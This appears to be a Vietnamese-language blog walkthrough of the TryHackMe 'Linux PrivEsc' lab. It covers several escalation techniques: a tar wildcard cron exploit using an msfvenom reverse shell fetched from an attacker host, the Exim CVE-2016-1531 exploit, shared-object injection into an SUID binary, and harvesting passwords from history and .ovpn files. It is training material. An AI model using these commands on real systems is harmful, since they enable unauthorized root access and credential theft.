[tryhackme] Linux PrivEsc

Series hướng dẫn cách leo thang đặc quyền trên hệ điều hành Linux
Task 10: Cron Jobs - Wildcards
(Máy Kali: máy tấn công
Máy Debian: máy mục tiêu)
Xem nội dung của một script cron job:
cat /usr/local/bin/
compress.sh
Chú ý: lệnh tar sẽ chạy trong home directory với wildcard (*)
Check GTFOBins cho lệnh tar.
Tar là một lệnh giải nén trên Linux. Trong quá trình chạy, nó có thể tạm dừng hoặc đánh dấu một ví trí trong tiến trình (checkpoint). Có thể yêu cầu tar thực hiện các hành động bổ sung trong quá trình checkpoint.
Dùng msfvenom trên máy Kali - tạo 1 reverse shell ELF binary trên máy tấn công.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.36.172 LPORT=4444 -f elf -o shell.elf
Chuyển shell.elf sang máy Debian:
- Host server python ở máy Kali:
python3 -m http.server 8080
- wget shell.elf qua máy Debian
wget http://<Kali-IP>:<port>/shell.elf -O /home/user/shell.elf
Cấp quyền thực thi cho file: chmod +x /home/user/shell.elf
Tạo 2 dòng trong /home/user:
touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf
khi tar trong cron job khởi chạy, wildcard (*) sẽ chạy luôn cả hai dòng trên.
tar sẽ nhận diện chúng là command line thay vì là filenames.
Mở một netcat port ở máy Kali:
nc -nvlp 4444
Đợi chút là tiến trình sẽ được khởi chạy.
(Xóa root shell và xóa mọi file vừa tạo để thực hiện task kế tiếp.
rm /home/user/shell.elf rm /home/user/--checkpoint=1 rm /home/user/--checkpoint-action=exec=shell.elf
)
Task 11: SUID / SGID Executables - Known Exploits
Định nghĩa: SUID/SGID là các cơ chế quyền đặc biệt trong hệ thống tập tin trên Linux và Unix, cho phép các chương trình hoặc tập tin thực thi với quyền của chủ sở hữu hoặc nhóm sở hữu, thay vì người dùng hiện tại đang thực thi chúng.
Quét tất cả các file thực thi SUID/SGID trên máy Debian:
Có thể thử search exim exploit trên https://www.exploit-db.com/exploits/39535 (Google, and GitHub cùng được…)
(Exploit Exim phiên bản 4.87 (CVE-2016-1531) - CVE này cho phép kẻ tấn công leo thang đặc quyền)
Trong máy Debian cũng có sẵn CVE này rồi nên chạy thôi:
Task 12: SUID / SGID Executables - Shared Object Injection
/usr/local/bin/suid-so
cũng là một tệp tin thực thi SUID khá nhạy cảm.
chạy strace trên file và tìm output open/access và lỗi “no such file“
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
Tệp thực thi đang cố tải thư viện liên kết động (share object) /home/user/.config/
libcalc.so
trong thư mục home, nhưng không tìm thấy thư viện ở vị trí yêu cầu.
Tạo 1 .config cho libcalc.so
Mã cho thư viện động đó nằm ở /home/user/tools/suid/libcalc.c
Đơn giản là nó sẽ thực thi một Bash shell. Biên dịch mã trên vào .so
gcc -shared -fPIC -o /home/user/.config/
libcalc.so
/home/user/tools/suid/libcalc.c
Chạy lại suid.so. Lần này thì sẽ chạy được bằng lệnh root.
/usr/local/bin/suid-so
Task 16: Passwords & Keys - History Files
Đôi lúc cũng có người lỡ type mật khẩu của mình trên command line.
Lệnh cat ~/.*history | less
sẽ giúp làm bại lộ mật khẩu đó (lmao)
Task 17: Passwords & Keys - Config Files
Thông thường, các file .ovpn (OpenVPN configuration files) thường nằm trong thư mục của người dùng khi họ tự cấu hình VPN cá nhân hoặc cài đặt OpenVPN thủ công.
ls /home/user
mình cat file .ovpn đó thì thấy mật khẩu
Subscribe to my newsletter
Read articles from Muffin directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Muffin
Muffin
I've just started to learn pentesting from the start. I like cats.